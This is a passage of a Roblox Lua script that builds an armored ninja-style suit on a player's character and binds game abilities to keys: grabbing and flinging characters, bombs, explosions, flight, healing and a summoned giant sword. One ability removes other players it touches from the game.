  1718.  
  1719. LAs.Parent = Characters
  1720. LAsw = Instance.new("Weld")
  1721. LAsw.Part0 = LAs
  1722. LAsw.Part1 = LA
  1723. LAsw.Parent = LAs
  1724. LAsw.C0 = CFrame.new(0,-0.6,-0.5)*CFrame.fromEulerAnglesXYZ(0,-1.5,-1.6)
  1725.  
  1726. -- Left Arm Claw!!!
  1727. LAc = Instance.new("Part")
  1728. LAc.Name = "LClaw"
  1729. LAc.formFactor = "Symmetric"
  1730. LAc.Size = Vector3.new(1, 1, 1)
  1731. LAc.TopSurface = "Smooth"
  1732. LAc.BottomSurface = "Smooth"
  1733. LAc.BrickColor = BrickColor.new("Really black")
  1734.  
  1735. Lacm = Instance.new("SpecialMesh")
  1736. Lacm.Parent = LAc
  1737. Lacm.MeshType = "FileMesh"
  1738. Lacm.TextureId = "http://www.roblox.com/asset/?id=10681501" -- Claw Texture Id
  1739. Lacm.MeshId = "http://www.roblox.com/asset/?id=10681506" -- Claw Mesh Id
  1740. Lacm.Scale = Vector3.new(1, 2, 0.8)
  1741.  
  1742. LAc.Parent = Characters
  1743. LAcw = Instance.new("Weld")
  1744. LAcw.Part0 = LAc
  1745. LAcw.Part1 = LA
  1746. LAcw.Parent = LAc
  1747. LAcw.C0 = CFrame.new(-0.5,0,-1.45)*CFrame.fromEulerAnglesXYZ(-1.6,-1.5,0)
  1748.  
  1749.  
  1750.  
  1751.  
  1752.  
  1753.  
  1754. -- Right Arm!!!!!!!!!!!!!!!!!!!!!!
  1755.  
  1756. -- Right Arm Armor!!!!
  1757. RAa = Instance.new("Part")
  1758. RAa.Name = "RightArmArmor"
  1759. RAa.formFactor = "Symmetric"
  1760. RAa.Size = Vector3.new(1,2,1)
  1761. RAa.TopSurface = "Smooth"
  1762. RAa.BottomSurface = "Smooth"
  1763. RAa.BrickColor = BrickColor.new("Really black")
  1764. RAa.Reflectance = 0.1
  1765. RAa.Transparency = 0.1
  1766.  
  1767. RAm = Instance.new("BlockMesh")
  1768. RAm.Parent = RAa
  1769. RAm.Scale = Vector3.new(1.1,1.1,1.1)
  1770.  
  1771. RAa.Parent = Characters
  1772. RAaw = Instance.new("Weld")
  1773. RAaw.Part0 = RA
  1774. RAaw.Part1 = RAa
  1775. RAaw.Parent = RA
  1776. RAaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1777.  
  1778. --Right Arm Wedge!!!
  1779. RAw = Instance.new("WedgePart")
  1780. RAw.Name = "RightArmWedge"
  1781. RAw.formFactor = "Plate"
  1782. RAw.Size = Vector3.new(1, 0.4, 1)
  1783. RAw.TopSurface = "Smooth"
  1784. RAw.BottomSurface = "Smooth"
  1785. RAw.BrickColor = BrickColor.new("Really black")
  1786. RAw.Reflectance = 0.1
  1787. RAw.Transparency = 0.1
  1788.  
  1789.  
  1790. RAw.Parent = Characters
  1791. RAww = Instance.new("Weld")
  1792. RAww.Part0 = RAw
  1793. RAww.Part1 = RA
  1794. RAww.Parent = RAw
  1795. RAww.C0 = CFrame.new(0,-0.7,0.5)*CFrame.fromEulerAnglesXYZ(0,1.5,1.5)
  1796.  
  1797.  
  1798.  
  1799. --Right Arm Shuriken!!!
  1800. RAs = Instance.new("Part")
  1801. RAs.Name = "RightArmShuriken"
  1802. RAs.formFactor = "Plate"
  1803. RAs.Size = Vector3.new(1, 0.4, 1)
  1804. RAs.TopSurface = "Smooth"
  1805. RAs.BottomSurface = "Smooth"
  1806. RAs.BrickColor = BrickColor.new("Really black")
  1807. RAs.Reflectance = 0.1
  1808.  
  1809. Rasm = Instance.new("SpecialMesh")
  1810. Rasm.Parent = RAs
  1811. Rasm.MeshType = "FileMesh"
  1812. Rasm.TextureId = "http://www.roblox.com/asset/?id=11376931" -- Shuriken Texture Id 2
  1813. Rasm.MeshId = "http://www.roblox.com/asset/?id=11376946" -- Shuriken Mesh Id 2
  1814. Rasm.Scale = Vector3.new(3,5,3)
  1815.  
  1816. RAs.Parent = Characters
  1817. RAsw = Instance.new("Weld")
  1818. RAsw.Part0 = RAs
  1819. RAsw.Part1 = RA
  1820. RAsw.Parent = RAs
  1821. RAsw.C0 = CFrame.new(0,-0.6,-0.5)*CFrame.fromEulerAnglesXYZ(0,1.5,1.6)
  1822.  
  1823. -- Right Arm Claw!!!
  1824. RAc = Instance.new("Part")
  1825. RAc.Name = "RClaw"
  1826. RAc.formFactor = "Symmetric"
  1827. RAc.Size = Vector3.new(1, 1, 1)
  1828. RAc.TopSurface = "Smooth"
  1829. RAc.BottomSurface = "Smooth"
  1830. RAc.BrickColor = BrickColor.new("Really black")
  1831.  
  1832. Racm = Instance.new("SpecialMesh")
  1833. Racm.Parent = RAc
  1834. Racm.MeshType = "FileMesh"
  1835. Racm.TextureId = "http://www.roblox.com/asset/?id=10681501" -- Claw Texture Id
  1836. Racm.MeshId = "http://www.roblox.com/asset/?id=10681506" -- Claw Mesh Id
  1837. Racm.Scale = Vector3.new(1, 2, 0.8)
  1838.  
  1839. RAc.Parent = Characters
  1840. RAcw = Instance.new("Weld")
  1841. RAcw.Part0 = RAc
  1842. RAcw.Part1 = RA
  1843. RAcw.Parent = RAc
  1844. RAcw.C0 = CFrame.new(-0.5,0,-1.45)*CFrame.fromEulerAnglesXYZ(-1.6,-1.5,0)
  1845.  
  1846.  
  1847. -- Left Leg!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  1848. --Left Leg Armor!!!
  1849.  
  1850. LLa = Instance.new("Part")
  1851. LLa.Name = "RightLegArmor"
  1852. LLa.formFactor = "Symmetric"
  1853. LLa.Size = Vector3.new(1,2,1)
  1854. LLa.TopSurface = "Smooth"
  1855. LLa.BottomSurface = "Smooth"
  1856. LLa.BrickColor = BrickColor.new("Really black")
  1857. LLa.Reflectance = 0.1
  1858. LLa.Transparency = 0.1
  1859.  
  1860. LLm = Instance.new("BlockMesh")
  1861. LLm.Parent = LLa
  1862. LLm.Scale = Vector3.new(1.1,1.1,1.1)
  1863.  
  1864. LLa.Parent = Characters
  1865. LLaw = Instance.new("Weld")
  1866. LLaw.Part0 = LL
  1867. LLaw.Part1 = LLa
  1868. LLaw.Parent = LL
  1869. LLaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1870.  
  1871.  
  1872.  
  1873.  
  1874.  
  1875.  
  1876.  
  1877.  
  1878. --Right Leg!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  1879. --Right Leg Armor!!!
  1880.  
  1881. RLa = Instance.new("Part")
  1882. RLa.Name = "RightLegArmor"
  1883. RLa.formFactor = "Symmetric"
  1884. RLa.Size = Vector3.new(1,2,1)
  1885. RLa.TopSurface = "Smooth"
  1886. RLa.BottomSurface = "Smooth"
  1887. RLa.BrickColor = BrickColor.new("Really black")
  1888. RLa.Reflectance = 0.1
  1889. RLa.Transparency = 0.1
  1890.  
  1891. RLm = Instance.new("BlockMesh")
  1892. RLm.Parent = RLa
  1893. RLm.Scale = Vector3.new(1.1,1.1,1.1)
  1894.  
  1895. RLa.Parent = Characters
  1896. RLaw = Instance.new("Weld")
  1897. RLaw.Part0 = RL
  1898. RLaw.Part1 = RLa
  1899. RLaw.Parent = RL
  1900. RLaw.C0 = CFrame.new(0,0,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1901.  
  1902. --Watch 8D!!!
  1903.  
  1904. Watch2 = Instance.new("Part")
  1905. Watch2.Name = "Watch2"
  1906. Watch2.formFactor = "Plate"
  1907. Watch2.Size = Vector3.new(1,0.4,1)
  1908. Watch2.TopSurface = "Smooth"
  1909. Watch2.BottomSurface = "Smooth"
  1910. Watch2.BrickColor = BrickColor.new("Really black")
  1911. Watch2.Reflectance = 0.1
  1912. Watch2.Transparency = 0.1
  1913.  
  1914. Watch2.Parent = Characters
  1915. Watch2w = Instance.new("Weld")
  1916. Watch2w.Part0 = RA
  1917. Watch2w.Part1 = Watch2
  1918. Watch2w.Parent = RA
  1919. Watch2w.C0 = CFrame.new(0,-0.25,0)*CFrame.fromEulerAnglesXYZ(0,0,0)
  1920.  
  1921.  
  1922.  
  1923. --Sounds in the Suit!!!!
  1924. Cs = Instance.new("Sound")
  1925. Cs.Parent = Ta
  1926. Cs.Name = "Cast"
  1927. Cs.Volume = 1
  1928. Cs.Pitch = 1
  1929. Cs.SoundId = "http://www.roblox.com/asset/?id=2101137"
  1930.  
  1931. Fp = Instance.new("Sound")
  1932. Fp.Parent = Ta
  1933. Fp.Name = "FalconPunch"
  1934. Fp.Volume = 1
  1935. Fp.Pitch = 1
  1936. Fp.SoundId = "http://www.roblox.com/asset/?id=1387390"
  1937.  
  1938. Tz = Instance.new("Sound")
  1939. Tz.Parent = Ta
  1940. Tz.Name = "Tz"
  1941. Tz.Volume = 1
  1942. Tz.Pitch = 1
  1943. Tz.SoundId = "http://www.roblox.com/asset/?id=2974000"
  1944.  
  1945. Hs = Instance.new("Sound")
  1946. Hs.Parent = Ta
  1947. Hs.Name = "Heal"
  1948. Hs.Volume = 1
  1949. Hs.Pitch = 1
  1950. Hs.SoundId = "http://www.roblox.com/asset/?id=2101144"
  1951.  
  1952. Ex = Instance.new("Sound")
  1953. Ex.Parent = Ta
  1954. Ex.Name = "Ex"
  1955. Ex.Volume = 1
  1956. Ex.Pitch = 1
  1957. Ex.SoundId = "http://www.roblox.com/asset?id=2101157"
  1958.  
  1959.  
  1960.  
  1961.  
  1962.  
  1963. ---ENd of Suit!!!!!!!
  1964.  
  1965.  
  1966. ---Function!!!!!!!!!! :D YEAH!
  1967.  
  1968.  
  1969.  
  1970.  
  1971. print("0")
  1972. function SetAngle(Joint, Angle)
  1973. if (Joint == 1) or (Joint == 3) then
  1974. Joints[Joint].DesiredAngle = Angle
  1975. end
  1976. if (Joint == 2) or (Joint == 4) then
  1977. Joints[Joint].DesiredAngle = -Angle
  1978. end
  1979. end
  1980. function DisableLimb(Limb)
  1981. Joints[Limb]:remove()
  1982.  
  1983. Joint = Instance.new("Motor")
  1984. Joint.Parent = Person.Character.Torso
  1985. Joint.Part0 = Person.Character.Torso
  1986. Joint.Part1 = Limbs[Limb]
  1987. Joint.MaxVelocity = 0.1
  1988. if (Limb == 1) then
  1989. C0 = CFrame.new(PersonT.Size.x/2 + Limbs[Limb].Size.x/2, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
  1990. Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
  1991. Joint.Name = "Right Joint Top"
  1992. elseif (Limb == 2) then
  1993. C0 = CFrame.new(-PersonT.Size.x/2 - Limbs[Limb].Size.x/2, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
  1994. Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
  1995. Joint.Name = "Left Joint Top"
  1996. elseif (Limb == 3) then
  1997. C0 = CFrame.new(Limbs[Limb].Size.x/2, -(Limbs[Limb].Size.y/4) * 3, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
  1998. Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, 3.14/2, 0)
  1999. Joint.Name = "Right Joint Bottom"
  2000. elseif(Limb == 4) then
  2001. C0 = CFrame.new(-Limbs[Limb].Size.x/2, -(Limbs[Limb].Size.y/4) * 3, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
  2002. Joint.C1 = CFrame.new(0, Limbs[Limb].Size.y/4, 0) * CFrame.fromEulerAnglesXYZ(0, -3.14/2, 0)
  2003. Joint.Name = "Left Joint Bottom"
  2004. end
  2005. Joint.C0 = C0
  2006. Joints[Limb] = Joint
  2007. end
  2008.  
  2009. print("1")
  2010.  
  2011. function EnableLimb(Limb)
  2012. if (Limb == 1) then
  2013. Joints[Limb].Name = "Right Shoulder"
  2014. elseif (Limb == 2) then
  2015. Joints[Limb].Name = "Left Shoulder"
  2016. elseif (Limb == 3) then
  2017. Joints[Limb].Name = "Right Hip"
  2018. elseif(Limb == 4) then
  2019. Joints[Limb].Name = "Left Hip"
  2020. end
  2021. Anim = Person.Character.Animate:clone()
  2022. Person.Character.Animate:remove()
  2023. Anim.Parent = Person.Character
  2024. end
  2025.  
  2026. print("2")
  2027.  
  2028. function Grab(Part)
  2029. if (Grabbed == nil) then
  2030. if (Part.Parent ~= nil) then
  2031. Human = Part.Parent:findFirstChild("Humanoid")
  2032. if (Human ~= nil) then
  2033. Player = game.Players:GetPlayerFromCharacter(Human.Parent)
  2034. if (Player ~= nil) then
  2035. if (Player ~= Person) then
  2036. Human.Sit = true
  2037. Weld = Instance.new("Weld")
  2038. Weld.Name = "Grip"
  2039. Weld.Parent = Person.Character.Torso
  2040. Weld.Part0 = Person.Character.Torso
  2041. Weld.Part1 = Player.Character.Torso
  2042. Weld.C0 = CFrame.new(0, 2.5, 0) * CFrame.fromEulerAnglesXYZ(3.14/2, 0, 0)
  2043. SetAngle(1, 3.14)
  2044. SetAngle(2, 3.14)
  2045. Grabbed = Player
  2046. Human.Sit = true
  2047. Connection1:disconnect()
  2048. Connection2:disconnect()
  2049. while true do
  2050. if (Weld.Part1 == nil) then
  2051. Debounce = false
  2052. EnableLimb(1)
  2053. EnableLimb(2)
  2054. Grabbed = nil
  2055. break
  2056. elseif (Weld.Parent == nil) then
  2057. Debounce = false
  2058. EnableLimb(1)
  2059. EnableLimb(2)
  2060. Grabbed = nil
  2061. break
  2062. else
  2063. Human.Sit = true
  2064. end
  2065. wait()
  2066. end
  2067. end
  2068. end
  2069. end
  2070. end
  2071. end
  2072. end
  2073.  
  2074. print("3")
  2075.  
  2076.  
  2077. function Click(mouse)
  2078. Hold = true
  2079. if (Flight == true) then
  2080. Person.Character.Engine.BodyPosition.maxForce = Vector3.new(0, 0, 0)
  2081. Person.Character.Engine.BodyVelocity.maxForce = Vector3.new(4e+030, 4e+030, 4e+030)
  2082. Position = Person.Character.Engine.Position
  2083. Person.Character.Engine.Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(3.14/2, 0, 0)
  2084. SetAngle(NormalHand, 3.14)
  2085. while true do
  2086.  
  2087. if (Flight == false) then
  2088. break
  2089. end
  2090. if (Hold == false) then
  2091. break
  2092. end
  2093. Direction = Person.Character.Engine.CFrame.lookVector
  2094. Position = Position + 2 * 3 * Direction
  2095. error = Position - Person.Character.Engine.Position
  2096. Person.Character.Engine.BodyVelocity.velocity = 2 * error
  2097. wait()
  2098. end
  2099. BodyP.position = Engine.Position
  2100. Person.Character.Engine.BodyPosition.maxForce = Vector3.new(4e+050, 4e+050, 4e+050)
  2101.  
  2102. Person.Character.Engine.Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  2103. SetAngle(NormalHand, 0)
  2104.  
  2105. end
  2106.  
  2107. end
  2108.  
  2109.  
  2110.  
  2111.  
  2112. print("5")
  2113.  
  2114. function Release(mouse)
  2115. Hold = false
  2116. end
  2117. function Direct(En, Target)
  2118. local OriginCFrame = En:findFirstChild("BodyGyro").cframe
  2119. local Direction = (Target - En.Position).unit
  2120. local SpawnPosition = En.Position
  2121. local Position = SpawnPosition + (Direction * 1)
  2122. En:findFirstChild("BodyGyro").maxTorque = Vector3.new(9000, 9000, 9000)
  2123. En:findFirstChild("BodyGyro").cframe = CFrame.new(Position, Position + Direction)
  2124. end
  2125.  
  2126. print("6")
  2127.  
  2128. function PressKey(key, mouse)
  2129. key = key:upper()
  2130. if (key == "Z") then
  2131. if (Debounce == false) then
  2132. Debounce = true
  2133. DisableLimb(1)
  2134. DisableLimb(2)
  2135. Joints[1].MaxVelocity = 1
  2136. SetAngle(1, 3.14)
  2137. Joints[2].MaxVelocity = 1
  2138. SetAngle(2, 3.14)
  2139. function Touch(Part)
  2140. if (Part.Parent ~= nil) then
  2141. Human = Part.Parent:findFirstChild("Humanoid")
  2142. if (Human ~= nil) then
  2143. --Human.Sit = true
  2144. Human.Parent.Torso.Velocity = Vector3.new(0, 300, 0)
  2145. end
  2146. end
  2147. end
  2148. Connection = Limbs[1].Touched:connect(Touch)
  2149. ConnectionB = Limbs[2].Touched:connect(Touch)
  2150. wait(0.5)
  2151. Joints[1].MaxVelocity = 0.1
  2152. Joints[2].MaxVelocity = 0.1
  2153. EnableLimb(1)
  2154. EnableLimb(2)
  2155. Connection:disconnect()
  2156. ConnectionB:disconnect()
  2157. Debounce = false
  2158. end
  2159. end
  2160. if (key == "N") then
  2161. X = game.Workspace:GetChildren()
  2162. for I, E in pairs(X) do
  2163. if (E.Name == "Bomb") then
  2164. E.Ex:play()
  2165. Ex = Instance.new("Explosion")
  2166. Ex.Parent = game.Workspace
  2167. Ex.BlastRadius = 15
  2168. Ex.Position = E.Position
  2169. Ex.BlastPressure = 1000
  2170. E:remove()
  2171. end
  2172. end
  2173. end
  2174. if (key == "Y") then
  2175. Bomb = Instance.new("Part")
  2176. Character.Suit.TorsoArmor.Ex:Clone().Parent = Bomb
  2177. Bomb.Name = "Bomb"
  2178. Bomb.formFactor = "Symmetric"
  2179. Bomb.Shape = "Ball"
  2180. Bomb.Size = Vector3.new(2,2,2)
  2181. Bomb.TopSurface = 0
  2182. Bomb.BottomSurface = 0
  2183. Bomb.BrickColor = BrickColor.new("Blue")
  2184. Bomb.CFrame = CFrame.new(Person.Character.Suit.Watch2.Position)
  2185. Bomb.CanCollide = true
  2186. Bomb.Parent = game.Workspace
  2187. Smoke = Instance.new("Smoke")
  2188. Smoke.Parent = Bomb
  2189. local c = (PersonT.Color.r + PersonT.Color.g + PersonT.Color.b)/3
  2190. Smoke.Color = Color3.new(0,0,0)
  2191. Smoke.Size = 2
  2192. Smoke.Opacity = 0.5
  2193. Bomb:BreakJoints()
  2194. end
  2195. if (key == "Q") then
  2196. if (Debounce == false) then
  2197. Debounce = true
  2198. DisableLimb(NormalFoot)
  2199. Joints[NormalFoot].MaxVelocity = 1
  2200. SetAngle(NormalFoot, 0.7)
  2201. function Touch(Part)
  2202. if (Part.Parent ~= nil) then
  2203. Human = Part.Parent:findFirstChild("Humanoid")
  2204. if (Human ~= nil) then
  2205. Human.Sit = true
  2206. Position = Human.Parent.Torso.Position
  2207. Direction = PersonT.CFrame.lookVector
  2208. Position = Position + 10 * 3 * Direction
  2209. error = Position - PersonT.Position
  2210. Human.Parent.Torso.Velocity = 5 * error
  2211. Human.Parent.Torso.Velocity = Human.Parent.Torso.Velocity + Vector3.new(0, 50, 0)
  2212. end
  2213. end
  2214. end
  2215. Connection = Limbs[NormalFoot].Touched:connect(Touch)
  2216. wait(0.5)
  2217. Joints[NormalFoot].MaxVelocity = 0.2
  2218. EnableLimb(NormalFoot)
  2219. Connection:disconnect()
  2220. Debounce = false
  2221. end
  2222. end
  2223. if (key == "F") then
  2224. if (Debounce == false) then
  2225. Debounce = true
  2226. DisableLimb(NormalFoot)
  2227. Joints[NormalFoot].MaxVelocity = 1
  2228. SetAngle(NormalFoot, 0.7)
  2229. function Touch(Part)
  2230. if (Part.Parent ~= nil) then
  2231. Human = Part.Parent:findFirstChild("Humanoid")
  2232. if (Human ~= nil) then
  2233. Player = game.Players:GetPlayerFromCharacter(Human.Parent)
  2234. if (Player ~= nil) then
  2235. if (Player ~= Person) then
  2236. Human.Sit = true
  2237. Position = Human.Parent.Torso.Position
  2238. Direction = PersonT.CFrame.lookVector
  2239. Position = Position + 10 * 3 * Direction
  2240. error = Position - PersonT.Position
  2241. Human.Parent.Torso.Velocity = 10 * error
  2242. Human.Parent.Torso.Velocity = Human.Parent.Torso.Velocity + Vector3.new(0, 100, 0)
  2243. wait(0.5)
  2244. Player:remove()
  2245. end
  2246. end
  2247. end
  2248. end
  2249. end
  2250. Connection = Limbs[NormalFoot].Touched:connect(Touch)
  2251. wait(0.5)
  2252. Joints[NormalFoot].MaxVelocity = 0.1
  2253. EnableLimb(NormalFoot)
  2254. Connection:disconnect()
  2255. Debounce = false
  2256. end
  2257. end
  2258. if (key == "E") then
  2259. if (Flight == true) then
  2260. if (FDebounce == false) then
  2261. FDebounce = true
  2262. Character.Suit.TorsoArmor.FalconPunch:play()
  2263. function Touch(Part)
  2264. if (Part.Parent ~= nil) then
  2265. Human = Part.Parent:findFirstChild("Humanoid")
  2266. if (Human ~= nil) then
  2267. Instance.new("Smoke").Parent = Character.Suit.LegArmArmor
  2268. Character.Suit.LegArmArmor.Smoke.Color = Color3.new(0,0,0)
  2269. wait(0.8)
  2270. Human.Sit = true
  2271. Huamn.Health = Human.Health - 99.999
  2272. Position = Human.Parent.Torso.Position
  2273. Direction = Person.Character.Engine.CFrame.lookVector
  2274. Position = Position + 10 * 3 * Direction
  2275. error = Position - PersonT.Position
  2276. Human.Parent.Torso.Velocity = 10 * error
  2277. Character.Suit.LegArmArmor.Smoke:Remove()
  2278. end
  2279. end
  2280. end
  2281. Connection = PersonT.Touched:connect(Touch)
  2282. wait(2)
  2283. Connection:disconnect()
  2284. FDebounce = false
  2285. end
  2286. end
  2287. if (Debounce == false) then
  2288. Debounce = true
  2289. DisableLimb(NormalHand)
  2290. Joints[NormalHand].MaxVelocity = 1
  2291. SetAngle(NormalHand, 1.57)
  2292. function Touch(Part)
  2293. if (Part.Parent ~= nil) then
  2294. Human = Part.Parent:findFirstChild("Humanoid")
  2295. if (Human ~= nil) then
  2296. Human.Sit = true
  2297. Position = Human.Parent.Torso.Position
  2298. Direction = PersonT.CFrame.lookVector
  2299. Position = Position + 10 * 3 * Direction
  2300. error = Position - PersonT.Position
  2301. Human.Parent.Torso.Velocity = 10 * error
  2302. end
  2303. end
  2304. end
  2305. Connection = Limbs[NormalHand].Touched:connect(Touch)
  2306. wait(0.5)
  2307. EnableLimb(NormalHand)
  2308. Connection:disconnect()
  2309. Debounce = false
  2310. end
  2311. end
  2312. if (key == "T") then
  2313. E = Instance.new("Explosion")
  2314. E.Parent = game.Workspace
  2315. E.BlastRadius = 12
  2316. E.Position = mouse.hit.p
  2317. E.BlastPressure = 1000
  2318. end
  2319. if (key == "G") then
  2320. if (Grabbed == nil) then
  2321. if (Debounce == false) then
  2322. Debounce = true
  2323. DisableLimb(1)
  2324. DisableLimb(2)
  2325. SetAngle(1, 1.57)
  2326. SetAngle(2, 1.57)
  2327. Connection1 = Limbs[1].Touched:connect(Grab)
  2328. Connection2 = Limbs[2].Touched:connect(Grab)
  2329. for E = 1, 30 do
  2330. if (Grabbed ~= nil) then
  2331. break
  2332. end
  2333. wait(0.1)
  2334. end
  2335. if (Grabbed == nil) then
  2336. EnableLimb(1)
  2337. EnableLimb(2)
  2338. Connection1:disconnect()
  2339. Connection2:disconnect()
  2340. Debounce = false
  2341. end
  2342. end
  2343. else
  2344. Person.Character.Torso.Grip:remove()
  2345. Position = Grabbed.Character.Torso.Position
  2346. Direction = PersonT.CFrame.lookVector
  2347. Position = Position + 4 * 3 * Direction
  2348. error = Position - PersonT.Position
  2349. Grabbed.Character.Torso.Velocity = 4 * error
  2350. end
  2351. end
  2352. if (key == "R") then
  2353. if (Flight == false) then
  2354. if (Debounce == false) then
  2355. Debounce = true
  2356. DisableLimb(1)
  2357. DisableLimb(2)
  2358. Flight = true
  2359. DisableLimb(3)
  2360. DisableLimb(4)
  2361. SetAngle(1, 0)
  2362. SetAngle(2, 0)
  2363. SetAngle(3, 0)
  2364. SetAngle(4, 0)
  2365. Engine = Instance.new("Part")
  2366. Engine.Parent = Person.Character
  2367. Engine.Size = PersonT.Size
  2368. Engine.Name = "Engine"
  2369. Engine.TopSurface = 0
  2370. Engine.BottomSurface = 0
  2371. Engine.formFactor = "Symmetric"
  2372. Engine.Transparency = 1
  2373. Engine:BreakJoints()
  2374. Weld = Instance.new("Weld")
  2375. Weld.Parent = Engine
  2376. Weld.Part0 = PersonT
  2377. Weld.Part1 = Engine
  2378. Weld.C0 = CFrame.new(0, 0, 0) * CFrame.fromEulerAnglesXYZ(0, 0, 0)
  2379. BodyP = Instance.new("BodyPosition")
  2380. BodyP.Parent = Engine
  2381. BodyP.position = Engine.Position + Vector3.new(0, 10, 0)
  2382. BodyP.maxForce = Vector3.new(4e+050, 4e+050, 4e+050)
  2383. BodyG = Instance.new("BodyGyro")
  2384. BodyG.Parent = Engine
  2385. BodyV = Instance.new("BodyVelocity")
  2386. BodyV.Parent = Engine
  2387. BodyV.velocity = Vector3.new(0, 0, 0)
  2388. BodyV.maxForce = Vector3.new(0, 0, 0)
  2389. while true do
  2390. if (Flight == false) then
  2391. break
  2392. end
  2393. Direct(Engine, mouse.hit.p)
  2394. Person.Character.Humanoid.Sit = true
  2395. Person.Character.Head.CanCollide = false
  2396. Person.Character.Torso.CanCollide = false
  2397. wait(0.000000000000000000000000000000001)
  2398. end
  2399. EnableLimb(1)
  2400. EnableLimb(2)
  2401. EnableLimb(3)
  2402. EnableLimb(4)
  2403. Debounce = false
  2404. Person.Character.Engine:remove()
  2405. Person.Character.Humanoid.Sit = false
  2406. end
  2407. else
  2408. Flight = false
  2409. end
  2410. end
  2411. if (key == "L") then
  2412. DisableLimb(NormalHand)
  2413. SetAngle(NormalHand, 2.57)
  2414. wait(1)
  2415. SetAngle(NormalHand, 0)
  2416. end
  2417. if (key == "H") then -- Heal 8D
  2418. if (Debounce == false) then
  2419. Debounce = true
  2420.  
  2421. HealBrick = Instance.new("Part")
  2422. HealBrick.CanCollide = false
  2423. HealBrick.Anchored = true
  2424. HealBrick.Transparency = 0
  2425. HealBrick.Locked = true
  2426. HealBrick.archivable = false
  2427. HealBrick.TopSurface = 0
  2428. HealBrick.BottomSurface = 0
  2429. HealBrick.Size = Vector3.new(2,4,2)
  2430. HealBrick.BrickColor = BrickColor.new("Really black")
  2431. HealBrick.Parent = Suit
  2432.  
  2433. HealBrick.CFrame = Torso.CFrame
  2434.  
  2435. Hm = Instance.new("SpecialMesh")
  2436. Hm.Parent = HealBrick
  2437. Hm.MeshType = "Sphere"
  2438.  
  2439.  
  2440. for i=1,10 do
  2441. Hm.Scale = Hm.Scale + Vector3.new(0.4,0.8,0.4)
  2442. wait(0.1)
  2443. end
  2444. Ta.Heal:play()
  2445. for i=1,12 do
  2446. Hm.Scale = Hm.Scale - Vector3.new(0.4,0.8,0.4)
  2447. wait(0.1)
  2448. end
  2449.  
  2450. Character.Humanoid.Health = Character.Humanoid.Health + 999999999
  2451. HealBrick:Remove()
  2452.  
  2453. wait(0.1)
  2454.  
  2455. Debounce = false
  2456.  
  2457. end
  2458. end
  2459. if (key == "J") and (UsingTools == 0) then -- Summoning Tools!! 8D
  2460. if (Debounce == false) and (AnimatingTools == false) then
  2461. if (Lazer == false) then
  2462. Debounce = true
  2463. UsingTools = 1
  2464. AnimatingTools = true
  2465.  
  2466. NewTool = Instance.new("Model")
  2467. NewTool.Parent = Suit
  2468. NewTool.Name = "GiantSword"
  2469.  
  2470. Character.Suit.TorsoArmor.Anchored = true
  2471.  
  2472. Pt = Instance.new("Part")
  2473. Pt.CanCollide = false
  2474. Pt.Anchored = true
  2475. Pt.Transparency = 0.8
  2476. Pt.Locked = true
  2477. Pt.archivable = false
  2478. Pt.TopSurface = 0
  2479. Pt.BottomSurface = 0
  2480. Pt.Size = Vector3.new(2,3,2)
  2481. Pt.BrickColor = BrickColor.new("Magenta")
  2482. Pt.Parent = Suit
  2483. Pt.CFrame = Torso.CFrame + Torso.CFrame.lookVector * 10
  2484. Pt.CFrame = Pt.CFrame + Vector3.new(0,10,0)
  2485.  
  2486. Pm = Instance.new("SpecialMesh")
  2487. Pm.Parent = Pt
  2488. Pm.MeshType = "Sphere"
  2489.  
  2490. for i=1,10 do
  2491. Pm.Scale = Pm.Scale + Vector3.new(0.4,0.8,0.4)
  2492. wait(0.05)
  2493. end
  2494.  
  2495. wait(0.1)
  2496.  
  2497. for i=1,16 do
  2498. wait(0.05)
  2499. Pt.Transparency = Pt.Transparency - 0.05
  2500. end
  2501.  
  2502. Ta.Tz:play()
  2503.  
  2504. --GIANT SWORD CCREATION :D
  2505. Gsh1 = Instance.new("Part")
  2506. Gsh1.Name = "Handle"
  2507. Gsh1.CanCollide = true
  2508. Gsh1.Anchored = false
  2509. Gsh1.Transparency = 0
  2510. Gsh1.Locked = true
  2511. Gsh1.archivable = false
  2512. Gsh1.TopSurface = 0
  2513. Gsh1.BottomSurface = 0
  2514. Gsh1.Size = Vector3.new(1,1,1)
  2515. Gsh1.formFactor = "Symmetric"
  2516. Gsh1.BrickColor = BrickColor.new("Mid gray")
  2517. Gsh1.Parent = NewTool
  2518. Gsh1.CFrame = Pt.CFrame - Vector3.new(0,-4.5,0)
  2519.  
  2520.  
  2521.  
  2522. Gsh2 = Instance.new("Part")
  2523. Gsh2.Name = "Handle2"
  2524. Gsh2.CanCollide = true
  2525. Gsh2.Anchored = false
  2526. Gsh2.Transparency = 0
  2527. Gsh2.Locked = true
  2528. Gsh2.archivable = false
  2529. Gsh2.TopSurface = 0
  2530. Gsh2.BottomSurface = 0
  2531. Gsh2.Size = Vector3.new(1,1,1)
  2532. Gsh2.formFactor = "Symmetric"
  2533. Gsh2.BrickColor = BrickColor.new("Mid gray")
  2534. Gsh2.CFrame = Pt.CFrame - Vector3.new(0,-4,0)
  2535.  
  2536. Gsh2m = Instance.new("BlockMesh")
  2537. Gsh2m.Parent = Gsh2
  2538. Gsh2m.Scale = Vector3.new(2.2,0.25,2)
  2539.  
  2540. Gsh2.Parent = NewTool
  2541. Gsh2w = Instance.new("Weld")
  2542. Gsh2w.Part0 = Gsh2
  2543. Gsh2w.Part1 = Gsh1
